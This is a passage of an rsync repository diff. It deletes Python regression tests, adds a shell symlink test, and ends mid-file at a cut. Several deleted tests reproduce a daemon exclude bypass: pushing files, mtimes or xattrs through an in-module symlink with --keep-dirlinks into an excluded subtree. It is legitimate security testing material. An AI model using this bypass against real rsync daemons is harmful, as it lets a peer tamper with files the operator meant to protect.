fix introduced\n-# secure_relative_open() with O_NOFOLLOW on every path component. The\n-# fix split the path so basedir (dirname) follows symlinks while only\n-# the final component is O_NOFOLLOW'd.\n-#\n-# We exercise: basic dir-symlink update, compressed update, nested\n-# dir-symlinks, --backup, --inplace, top-level file (no split needed),\n-# --partial-dir with protocol < 29, and a basic protocol < 29 transfer.\n-\n-import filecmp\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, RSYNC_PEER, SRCDIR, TMPDIR,\n-    make_data_file, rsync_argv, test_fail, rsync_path_arg, rsh_cmd,\n-)\n-\n-\n-# The secure resolver follows an in-tree directory symlink (the basis dir) on\n-# every platform: the per-component walk readlinks the symlink and walks its\n-# target off held dirfds (issue #715), so this transfer through a dir-symlinked\n-# basis succeeds uniformly.\n-\n-os.environ['RSYNC_RSH'] = rsh_cmd()\n-# HOME -> SCRATCHDIR is set up by rsyncfns import.\n-\n-srcbase = TMPDIR / 'src_files'  # avoid clash with the runner's $scratchdir/src symlink\n-srcbase.mkdir(parents=True, exist_ok=True)\n-home = SCRATCHDIR\n-\n-\n-def make_testfile(path) -> None:\n-    \"\"\"~32 KiB of non-trivial content -- large enough to trigger rsync's\n-    block-matching delta path.\"\"\"\n-    make_data_file(path, 32768)\n-\n-\n-def push(*args, label: str) -> None:\n-    # --rsync-path goes BEFORE the positional source/dest args, matching\n-    # the shell test's order. With it at the end rsync mis-classifies\n-    # the destination and reports \"Unexpected remote arg: localhost:\".\n-    saved = os.getcwd()\n-    os.chdir(srcbase)\n-    try:\n-        proc = subprocess.run(\n-            rsync_argv(f'--rsync-path={rsync_path_arg()}', *args),\n-            stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-        )\n-        print(proc.stdout, end='')\n-        if proc.returncode != 0:\n-            test_fail(f\"{label}: rsync exited {proc.returncode}\")\n-    finally:\n-        os.chdir(saved)\n-\n-\n-def assert_same(label: str, a, b) -> None:\n-    if not filecmp.cmp(a, b, shallow=False):\n-        test_fail(f\"{label}: content mismatch between {a} and {b}\")\n-\n-\n-# Test 1: basic directory-symlink update.\n-(home / 'real-dir').mkdir()\n-os.symlink('real-dir', home / 'dir')\n-(srcbase / 'dir').mkdir()\n-make_testfile(srcbase / 'dir' / 'file')\n-\n-push('-KRlptv', 'dir/file', 'localhost:', label=\"test 1 initial\")\n-if not (home / 'real-dir' / 'file').is_file():\n-    test_fail(\"test 1: initial transfer did not create file through symlink\")\n-assert_same(\"test 1 initial\", srcbase / 'dir' / 'file', home / 'real-dir' / 'file')\n-\n-# Trigger delta transfer.\n-with open(srcbase / 'dir' / 'file', 'ab') as f:\n-    f.write(b\"appended update\\n\")\n-time.sleep(1)\n-(srcbase / 'dir' / 'file').touch()\n-\n-push('-KRlptv', 'dir/file', 'localhost:', label=\"test 1 update\")\n-assert_same(\"test 1 update\", srcbase / 'dir' / 'file', home / 'real-dir' / 'file')\n-\n-\n-# Test 2: compression.\n-with open(srcbase / 'dir' / 'file', 'ab') as f:\n-    f.write(b\"another line\\n\")\n-time.sleep(1)\n-(srcbase / 'dir' / 'file').touch()\n-\n-push('-KRlptzv', 'dir/file', 'localhost:', label=\"test 2\")\n-assert_same(\"test 2\", srcbase / 'dir' / 'file', home / 'real-dir' / 'file')\n-\n-\n-# Test 3: nested directory symlinks.\n-(home / 'nested_real' / 'sub').mkdir(parents=True)\n-os.symlink('nested_real', home / 'nested')\n-\n-(srcbase / 'nested' / 'sub').mkdir(parents=True)\n-make_testfile(srcbase / 'nested' / 'sub' / 'data.txt')\n-\n-push('-KRlptv', 'nested/sub/data.txt', 'localhost:', label=\"test 3 initial\")\n-\n-with open(srcbase / 'nested' / 'sub' / 'data.txt', 'ab') as f:\n-    f.write(b\"appended nested\\n\")\n-time.sleep(1)\n-(srcbase / 'nested' / 'sub' / 'data.txt').touch()\n-\n-push('-KRlptv', 'nested/sub/data.txt', 'localhost:', label=\"test 3 update\")\n-assert_same(\"test 3 update\",\n-            srcbase / 'nested' / 'sub' / 'data.txt',\n-            home / 'nested_real' / 'sub' / 'data.txt')\n-\n-\n-# Test 4: --backup with directory symlinks.\n-(home / 'real-dir' / 'file').unlink()\n-(home / 'real-dir' / 'file~').unlink(missing_ok=True)\n-make_testfile(srcbase / 'dir' / 'file')\n-\n-push('-KRlptv', 'dir/file', 'localhost:', label=\"test 4 initial\")\n-\n-old_content = (srcbase / 'dir' / 'file').read_bytes()   # the backup should hold this\n-with open(srcbase / 'dir' / 'file', 'ab') as f:\n-    f.write(b\"backup update\\n\")\n-time.sleep(1)\n-(srcbase / 'dir' / 'file').touch()\n-\n-push('-KRlptv', '--backup', 'dir/file', 'localhost:', label=\"test 4 update\")\n-assert_same(\"test 4 update\", srcbase / 'dir' / 'file', home / 'real-dir' / 'file')\n-if not (home / 'real-dir' / 'file~').is_file():\n-    test_fail(\"test 4: backup file was not created\")\n-# The backup must hold the OLD content, not just exist.\n-if (home / 'real-dir' / 'file~').read_bytes() != old_content:\n-    test_fail(\"test 4: backup file~ does not hold the pre-update content\")\n-\n-\n-# Test 5: --inplace.\n-(home / 'real-dir' / 'file').unlink()\n-(home / 'real-dir' / 'file~').unlink(missing_ok=True)\n-make_testfile(srcbase / 'dir' / 'file')\n-\n-push('-KRlptv', '--inplace', 'dir/file', 'localhost:', label=\"test 5 initial\")\n-\n-with open(srcbase / 'dir' / 'file', 'ab') as f:\n-    f.write(b\"inplace update\\n\")\n-time.sleep(1)\n-(srcbase / 'dir' / 'file').touch()\n-\n-push('-KRlptv', '--inplace', 'dir/file', 'localhost:', label=\"test 5 update\")\n-assert_same(\"test 5 update\", srcbase / 'dir' / 'file', home / 'real-dir' / 'file')\n-\n-\n-# Test 6: top-level file (no dirname split needed).\n-make_testfile(srcbase / 'topfile')\n-home.mkdir(parents=True, exist_ok=True)\n-\n-push('-Rlptv', 'topfile', 'localhost:', label=\"test 6 initial\")\n-\n-with open(srcbase / 'topfile', 'ab') as f:\n-    f.write(b\"toplevel update\\n\")\n-time.sleep(1)\n-(srcbase / 'topfile').touch()\n-\n-push('-Rlptv', 'topfile', 'localhost:', label=\"test 6 update\")\n-assert_same(\"test 6 update\", srcbase / 'topfile', home / 'topfile')\n-\n-\n-# Test 7: --partial-dir with protocol < 29.\n-(home / 'real-dir' / 'file').unlink(missing_ok=True)\n-make_testfile(srcbase / 'dir' / 'file')\n-\n-push('-KRlptv', '--protocol=28', '--partial-dir=.rsync-partial',\n-     'dir/file', 'localhost:', label=\"test 7 initial\")\n-\n-with open(srcbase / 'dir' / 'file', 'ab') as f:\n-    f.write(b\"partial-dir update\\n\")\n-time.sleep(1)\n-(srcbase / 'dir' / 'file').touch()\n-\n-push('-KRlptv', '--protocol=28', '--partial-dir=.rsync-partial',\n-     'dir/file', 'localhost:', label=\"test 7 update\")\n-assert_same(\"test 7 update\", srcbase / 'dir' / 'file', home / 'real-dir' / 'file')\n-\n-\n-# Test 8: protocol < 29 basic update.\n-(home / 'real-dir' / 'file').unlink(missing_ok=True)\n-make_testfile(srcbase / 'dir' / 'file')\n-\n-push('-KRlptv', '--protocol=28', 'dir/file', 'localhost:', label=\"test 8 initial\")\n-\n-with open(srcbase / 'dir' / 'file', 'ab') as f:\n-    f.write(b\"proto28 update\\n\")\n-time.sleep(1)\n-(srcbase / 'dir' / 'file').touch()\n-\n-push('-KRlptv', '--protocol=28', 'dir/file', 'localhost:', label=\"test 8 update\")\n-assert_same(\"test 8 update\", srcbase / 'dir' / 'file', home / 'real-dir' / 'file')\ndiff --git a/testsuite/symlink-exclude-chdir-alias_test.py b/testsuite/symlink-exclude-chdir-alias_test.py\ndeleted file mode 100644\nindex 6422a2c..0000000\n--- a/testsuite/symlink-exclude-chdir-alias_test.py\n+++ /dev/null\n@@ -1,61 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon module-exclude under-block via an ALLOWED symlinked chdir whose logical\n-# path then mislabels descendants.  (Probe for codex residual #2.)\n-#\n-# The module excludes a *nested* subtree: exclude = /public/secret/.  public/ is\n-# NOT excluded, so an in-module symlink  blink2 -> public/  is followed when used\n-# as the destination.  After that chdir the daemon's logical cwd is \"blink2\"\n-# while the physical cwd is \"public\"; a file then pushed to \"secret/x\" lands in\n-# public/secret/x -- the excluded subtree -- because the exclude check sees the\n-# logical \"blink2/secret\", not the physical \"public/secret\".\n-#\n-# RED = under-block reproduces (the alias defeats the nested exclude).  Runs\n-# unprivileged.\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12982\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'symlink-exclude-chdir-alias'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-mod.mkdir()\n-public = mod / 'public'                        # NOT excluded\n-public.mkdir()\n-secret = public / 'secret'                     # excluded: /public/secret/\n-secret.mkdir()\n-victim = secret / 'x'\n-victim.write_text(SECRET)\n-\n-os.symlink('public/', mod / 'blink2')          # allowed symlink -> public/\n-\n-src = base / 'src'\n-(src / 'secret').mkdir(parents=True)\n-(src / 'secret' / 'x').write_text(\"NEW\\n\")\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/public/secret/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Destination is the allowed symlink blink2 -> public; the pushed secret/x then\n-# resolves to public/secret/x (excluded).\n-subprocess.run(\n-    rsync_argv('-a', '--keep-dirlinks', f'{src}/', f'{url}mod/blink2/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after == SECRET:\n-    test_fail(\n-        \"the daemon refused a symlinked-chdir push that stock rsync (3.2.7) \"\n-        f\"follows: blink2/secret/x did not reach public/secret/ ({victim} is still \"\n-        f\"{after!r}).  The exclude is name-based (the logical alias path), not the \"\n-        \"physical target; it must not block this.\")\n-print(\"daemon exclude is name-based: a push via an allowed symlinked chdir reaches \"\n-      \"the nested excluded subtree (3.2.7-equivalent)\")\ndiff --git a/testsuite/symlink-exclude-component_test.py b/testsuite/symlink-exclude-component_test.py\ndeleted file mode 100644\nindex f0e5eda..0000000\n--- a/testsuite/symlink-exclude-component_test.py\n+++ /dev/null\n@@ -1,62 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon module-exclude bypass via an in-DESTINATION symlink that appears as a\n-# PATH COMPONENT of a transferred file (not as the destination argument).\n-# (Probe for the broader variant of the symlink-exclude finding.)\n-#\n-# The module excludes a subtree (exclude = /secret/) and already contains an\n-# in-module, euid-owned symlink  blink -> secret/  plus a protected victim\n-# secret/x.  A peer pushes a tree whose file list contains the path \"blink/x\".\n-# With --keep-dirlinks the receiver treats the existing dest symlink \"blink\" as\n-# the directory it points at and writes THROUGH it, so \"blink/x\" lands in the\n-# excluded secret/x -- the per-file daemon filter only ever sees the logical\n-# name \"blink/x\", never the physical \"secret/x\".\n-#\n-# RED here = the bypass reproduces (the broader, file-list-component variant is\n-# exploitable). GREEN = rsync refuses it (e.g. replaces the symlink, or the\n-# resolver's exclude check catches the physical target).  Runs unprivileged.\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12978\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'symlink-exclude-component'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-mod.mkdir()\n-secret = mod / 'secret'                       # excluded subtree\n-secret.mkdir()\n-victim = secret / 'x'\n-victim.write_text(SECRET)                      # must not be clobbered\n-\n-blink = mod / 'blink'                          # in-module symlink -> excluded dir\n-os.symlink('secret/', blink)\n-\n-src = base / 'src'\n-(src / 'blink').mkdir(parents=True)            # file list will contain blink/ + blink/x\n-(src / 'blink' / 'x').write_text(\"NEW\\n\")\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/secret/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# --keep-dirlinks: treat the dest symlink \"blink\" as the dir it points at.\n-subprocess.run(\n-    rsync_argv('-a', '--keep-dirlinks', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after == SECRET:\n-    test_fail(\n-        \"the daemon refused a transferred path through an in-dest symlink that \"\n-        f\"stock rsync (3.2.7) follows: {victim} is still {after!r}.  The daemon \"\n-        \"filter is name-based (it sees the logical 'blink/x', not 'secret/x'); it \"\n-        \"must not block this -- `munge symlinks` defends a writable module.\")\n-print(\"daemon exclude is name-based: a transferred path through an in-dest symlink \"\n-      \"lands in the excluded subtree (3.2.7-equivalent)\")\ndiff --git a/testsuite/symlink-exclude-deep_test.py b/testsuite/symlink-exclude-deep_test.py\ndeleted file mode 100644\nindex 928aeb3..0000000\n--- a/testsuite/symlink-exclude-deep_test.py\n+++ /dev/null\n@@ -1,64 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon module-exclude bypass via a DEEPER in-tree directory symlink (not the\n-# destination argument).  (Probe for codex's \"per-chdir physical tracking\"\n-# concern.)\n-#\n-# The module excludes a nested subtree exclude = /pub/secret/.  pub/ is NOT\n-# excluded.  An in-module dir symlink  dir2 -> pub/  sits inside the dest tree\n-# (a level below the dest root).  A peer pushes a tree whose file list contains\n-# dir2/secret/x and runs with --keep-dirlinks, so the receiver follows dir2 into\n-# pub while descending, then writes secret/x into pub/secret/x -- the excluded\n-# subtree -- if the exclude is checked on the logical \"dir2/secret\" rather than\n-# the physical \"pub/secret\".\n-#\n-# This differs from symlink-exclude-component (one level, leaf parent) and\n-# symlink-exclude-chdir-alias (the symlink IS the dest arg): here the followed\n-# symlink is a deeper subdirectory reached as the transfer descends.  RED here\n-# means the held-dirfd seed alone is NOT enough and per-chdir physical tracking\n-# is required.  Runs unprivileged.\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12983\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'symlink-exclude-deep'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-mod.mkdir()\n-pub = mod / 'pub'                              # NOT excluded\n-pub.mkdir()\n-secret = pub / 'secret'                        # excluded: /pub/secret/\n-secret.mkdir()\n-victim = secret / 'x'\n-victim.write_text(SECRET)\n-\n-os.symlink('pub/', mod / 'dir2')               # in-tree dir symlink -> pub/\n-\n-src = base / 'src'\n-(src / 'dir2' / 'secret').mkdir(parents=True)\n-(src / 'dir2' / 'secret' / 'x').write_text(\"NEW\\n\")\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/pub/secret/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv('-a', '--keep-dirlinks', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after == SECRET:\n-    test_fail(\n-        \"the daemon refused a deeper in-tree dir symlink that stock rsync (3.2.7) \"\n-        f\"follows: a push to dir2/secret/x did not reach pub/secret/ ({victim} is \"\n-        f\"still {after!r}).  The exclude is name-based ('dir2/secret', not the \"\n-        \"physical 'pub/secret'); it must not block this.\")\n-print(\"daemon exclude is name-based: a deeper in-tree dir symlink reaches the \"\n-      \"nested excluded subtree (3.2.7-equivalent)\")\ndiff --git a/testsuite/symlink-exclude-leaf_test.py b/testsuite/symlink-exclude-leaf_test.py\ndeleted file mode 100644\nindex 651883a..0000000\n--- a/testsuite/symlink-exclude-leaf_test.py\n+++ /dev/null\n@@ -1,51 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon module-exclude bypass on an excluded LEAF (file) reached through an\n-# in-tree directory symlink.  (Reported by codex.)\n-#\n-# Unlike the subtree cases, the exclude here names a single leaf: /pub/blocked.\n-# pub/ itself is NOT excluded, so resolving the parent through the in-module\n-# symlink  blink2 -> pub/  does not refuse it; only the final basename is\n-# excluded.  A peer sends blink2/blocked under --keep-dirlinks: the held-dirfd\n-# resolves the parent to pub and the leaf create/rename writes pub/blocked --\n-# the excluded file -- because the leaf basename is never physically\n-# exclude-checked.  Runs unprivileged.\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12987\n-\n-base = SCRATCHDIR / 'symlink-exclude-leaf'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-mod.mkdir()\n-pub = mod / 'pub'                              # NOT excluded\n-pub.mkdir()\n-os.symlink('pub/', mod / 'blink2')             # in-tree dir symlink -> pub/\n-\n-src = base / 'src'\n-(src / 'blink2').mkdir(parents=True)\n-(src / 'blink2' / 'blocked').write_text(\"SHOULD-NOT-LAND\\n\")\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/pub/blocked'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv('-a', '--keep-dirlinks', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-blocked = pub / 'blocked'\n-if not blocked.exists():\n-    test_fail(\n-        \"the daemon refused an excluded leaf that stock rsync (3.2.7) writes: \"\n-        f\"{blocked} was not created through the in-tree symlink.  The exclude is \"\n-        \"name-based (it sees 'blink2/blocked', not the physical 'pub/blocked'); it \"\n-        \"must not block this.\")\n-print(\"daemon exclude is name-based: an excluded leaf reached through an in-tree \"\n-      \"dir symlink is written (3.2.7-equivalent)\")\ndiff --git a/testsuite/symlink-exclude-meta_test.py b/testsuite/symlink-exclude-meta_test.py\ndeleted file mode 100644\nindex 822cfd4..0000000\n--- a/testsuite/symlink-exclude-meta_test.py\n+++ /dev/null\n@@ -1,57 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon module-exclude bypass: metadata write on a PRE-EXISTING excluded leaf\n-# reached through an in-tree directory symlink.  (Reported by codex.)\n-#\n-# No create is needed: pub/blocked already exists and is excluded (/pub/blocked).\n-# pub/ is not excluded, so resolving the parent through blink2 -> pub/ succeeds;\n-# the generator can then stat the leaf through the held parent fd and push\n-# metadata (chmod/chown/times) onto it via the held-dirfd metadata ops.  Those\n-# must refuse an excluded physical leaf, or a peer can alter a file the module\n-# does not serve.  Runs unprivileged (mtime is the observable a non-root peer can\n-# drive).\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12989\n-\n-base = SCRATCHDIR / 'symlink-exclude-meta'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-mod.mkdir()\n-pub = mod / 'pub'                              # NOT excluded\n-pub.mkdir()\n-victim = pub / 'blocked'                       # excluded leaf, pre-exists\n-victim.write_text(\"PROTECTED\\n\")\n-old = 1_000_000_000\n-os.utime(victim, (old, old))                   # known baseline mtime\n-os.symlink('pub/', mod / 'blink2')             # in-tree dir symlink -> pub/\n-\n-src = base / 'src'\n-(src / 'blink2').mkdir(parents=True)\n-(src / 'blink2' / 'blocked').write_text(\"PROTECTED\\n\")   # same content: only meta differs\n-new = old + 999_999\n-os.utime(src / 'blink2' / 'blocked', (new, new))\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/pub/blocked'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv('-a', '--keep-dirlinks', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-if int(victim.stat().st_mtime) == old:\n-    test_fail(\n-        \"the daemon refused a metadata write onto an excluded leaf that stock \"\n-        f\"rsync (3.2.7) performs: {victim} mtime is still {old} (expected it to \"\n-        f\"advance to {new}).  The exclude is name-based ('blink2/blocked', not the \"\n-        \"physical 'pub/blocked'); it must not block this.\")\n-print(\"daemon exclude is name-based: metadata on an excluded leaf via an in-tree \"\n-      \"symlink is written (3.2.7-equivalent)\")\ndiff --git a/testsuite/symlink-exclude-xattr_test.py b/testsuite/symlink-exclude-xattr_test.py\ndeleted file mode 100644\nindex c46a907..0000000\n--- a/testsuite/symlink-exclude-xattr_test.py\n+++ /dev/null\n@@ -1,70 +0,0 @@\n-#!/usr/bin/env python3\n-# The daemon exclude/filter is name-based, not a symlink boundary: an xattr (-X)\n-# write on a pre-existing excluded leaf reached through an in-tree directory\n-# symlink IS performed, as in stock rsync (3.2.7).  Like symlink-exclude-meta but\n-# for an xattr.  The defense for a writable module is `munge symlinks`, not the\n-# filter (see rsyncd.conf(5)).  Runs unprivileged (user.* xattr).\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, forced_protocol, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    test_skipped, write_daemon_conf, xattrs_supported,\n-)\n-\n-if not xattrs_supported() or not hasattr(os, 'getxattr') or not hasattr(os, 'setxattr'):\n-    test_skipped(\"user xattrs not available\")\n-\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    test_skipped(f\"xattr (-X) transfer requires protocol 30+ (negotiated {proto})\")\n-\n-DAEMON_PORT = 12992\n-XNAME = 'user.rsync.marker'\n-\n-\n-def getx(p):\n-    try:\n-        return os.getxattr(str(p), XNAME).decode()\n-    except OSError:\n-        return None\n-\n-\n-base = SCRATCHDIR / 'symlink-exclude-xattr'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-mod.mkdir()\n-pub = mod / 'pub'\n-pub.mkdir()\n-victim = pub / 'blocked'                       # excluded leaf, pre-exists\n-victim.write_text(\"DATA\\n\")\n-try:\n-    os.setxattr(str(victim), XNAME, b'ORIGINAL')\n-except OSError:\n-    test_skipped(\"cannot set user xattr on this filesystem\")\n-os.symlink('pub/', mod / 'blink2')             # in-tree dir symlink -> pub/\n-\n-src = base / 'src'\n-(src / 'blink2').mkdir(parents=True)\n-sf = src / 'blink2' / 'blocked'\n-sf.write_text(\"DATA\\n\")                         # same content: only the xattr differs\n-os.setxattr(str(sf), XNAME, b'ATTACKER')\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/pub/blocked'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv('-aX', '--keep-dirlinks', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-if getx(victim) == 'ORIGINAL':\n-    test_fail(\n-        \"the daemon refused an xattr write on an excluded leaf that stock rsync \"\n-        f\"(3.2.7) performs: {victim} marker is still 'ORIGINAL' (expected \"\n-        \"'ATTACKER').  The exclude is name-based ('blink2/blocked', not the \"\n-        \"physical 'pub/blocked'); it must not block this.\")\n-print(\"daemon exclude is name-based: an xattr write on an excluded leaf via an \"\n-      \"in-tree symlink is performed (3.2.7-equivalent)\")\ndiff --git a/testsuite/symlink-exclude_test.py b/testsuite/symlink-exclude_test.py\ndeleted file mode 100644\nindex 6557b96..0000000\n--- a/testsuite/symlink-exclude_test.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-#!/usr/bin/env python3\n-# The daemon exclude/filter is a NAME-based listing/tamper filter, not a\n-# physical-path security boundary: a peer that pushes through an in-module symlink\n-# whose own name is not excluded reaches the excluded target.  This is the\n-# behaviour of stock rsync (verified against 3.2.7) and is documented in\n-# rsyncd.conf(5) -- the symlink defense is `munge symlinks` (default on for a\n-# writable non-chroot module), NOT the filter.  This test asserts that\n-# 3.2.7-equivalent behaviour: the symlink IS followed.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12962\n-\n-base = SCRATCHDIR / 'symlink-exclude-daemon'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-mod.mkdir()\n-\n-secret = mod / 'secret'\n-secret.mkdir(parents=True)\n-victim = secret / 'f0'\n-victim.write_text(\"OLD-EXCLUDED-CONTENT\\n\")\n-src = mod / 'src'\n-src.mkdir()\n-(src / 'f0').write_text(\"NEW\\n\")\n-\n-blink = mod / 'blink'                        # in-module symlink -> excluded subtree\n-os.symlink('secret/', blink)\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/secret/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Push through the symlink whose own name (\"blink\") is not excluded.\n-subprocess.run(\n-    rsync_argv('-a', f'{src}/', f'{url}mod/blink/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after != \"NEW\\n\":\n-    test_fail(\n-        \"the daemon refused a symlink that stock rsync (3.2.7) follows: \"\n-        f\"{secret / 'f0'} is {after!r}, expected 'NEW\\\\n'.  The daemon exclude \"\n-        \"filter is name-based, not a symlink boundary -- it must not block this \"\n-        \"(use `munge symlinks` to defend a writable module).\")\n-print(\"daemon exclude is name-based: a symlink whose name is not excluded is \"\n-      \"followed (3.2.7-equivalent)\")\ndiff --git a/testsuite/symlink-ignore.test b/testsuite/symlink-ignore.test\nnew file mode 100644\nindex 0000000..7055a92\n--- /dev/null\n+++ b/testsuite/symlink-ignore.test\n@@ -0,0 +1,34 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2001 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync's somewhat over-featured symlink control: the default\n+# behaviour is that symlinks should not be copied at all.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+build_symlinks || test_fail \"failed to build symlinks\"\n+\n+# Copy recursively, but without -l or -L or -a, and all the symlinks\n+# should be missing.\n+$RSYNC -r \"$fromdir/\" \"$todir\" || test_fail \"$RSYNC returned $?\"\n+\n+[ -f \"$todir/referent\" ] || test_fail \"referent was not copied\"\n+[ -d \"$todir/from\" ] && test_fail \"extra level of directories\"\n+if is_a_link \"$todir/dangling\"; then\n+    test_fail \"dangling symlink was copied\"\n+fi\n+\n+if is_a_link \"$todir/relative\"; then\n+    test_fail \"relative symlink was copied\"\n+fi\n+\n+if is_a_link \"$todir/absolute\"; then\n+    test_fail \"absolute symlink was copied\"\n+fi\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/symlink-ignore_test.py b/testsuite/symlink-ignore_test.py\ndeleted file mode 100644\nindex 28daa04..0000000\n--- a/testsuite/symlink-ignore_test.py\n+++ /dev/null\n@@ -1,28 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/symlink-ignore.test.\n-#\n-# Default behaviour: without -l, -L or -a, rsync should NOT copy any\n-# symlinks. The referent file should land in the destination but every\n-# symlink in the source must be absent.\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    build_symlinks, is_a_link, run_rsync, test_fail,\n-)\n-\n-\n-build_symlinks()\n-\n-# Copy recursively, but without -l or -L or -a, so symlinks should be missing.\n-run_rsync('-r', f'{FROMDIR}/', str(TODIR))\n-\n-if not (TODIR / 'referent').is_file():\n-    test_fail(\"referent was not copied\")\n-if (TODIR / 'from').is_dir():\n-    test_fail(\"extra level of directories\")\n-if is_a_link(TODIR / 'dangling'):\n-    test_fail(\"dangling symlink was copied\")\n-if is_a_link(TODIR / 'relative'):\n-    test_fail(\"relative symlink was copied\")\n-if is_a_link(TODIR / 'absolute'):\n-    test_fail(\"absolute symlink was copied\")\ndiff --git a/testsuite/symlink-mknod-fakesuper-symlink-race_test.py b/testsuite/symlink-mknod-fakesuper-symlink-race_test.py\ndeleted file mode 100644\nindex 7affd31..0000000\n--- a/testsuite/symlink-mknod-fakesuper-symlink-race_test.py\n+++ /dev/null\n@@ -1,104 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/symlink-mknod-fakesuper-symlink-race.test.\n-#\n-# Regression test for the fake-super branches of do_symlink_at() and\n-# do_mknod_at(). In --fake-super mode a symlink or device is stored as a\n-# regular placeholder file, so creating it resolves the final path component.\n-# The slashed-path branch always used openat(... O_NOFOLLOW), but a top-level\n-# (no-slash) path fell back to do_symlink()/do_mknod(), whose plain\n-# open(... O_CREAT|O_TRUNC) followed a pre-planted symlink at the basename and\n-# wrote outside the module.\n-#\n-# This is the same shape as the do_rename_at() mixed-parent bug: a no-slash\n-# path bypassed the safer branch. It is narrower -- exploiting it end-to-end\n-# needs a TOCTOU race to plant the basename symlink between the generator's\n-# check and the create -- but the openat(... O_NOFOLLOW) in the slashed branch\n-# exists precisely to win that race, and the bare branch silently lost it.\n-#\n-# The helper runs at the wrapper level (deterministic): --poc shows the pre-fix\n-# do_symlink()/do_mknod() fallback follows the planted basename symlink and\n-# clobbers a file outside the module; the regular run proves the fixed\n-# do_symlink_at()/do_mknod_at() refuse it.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import 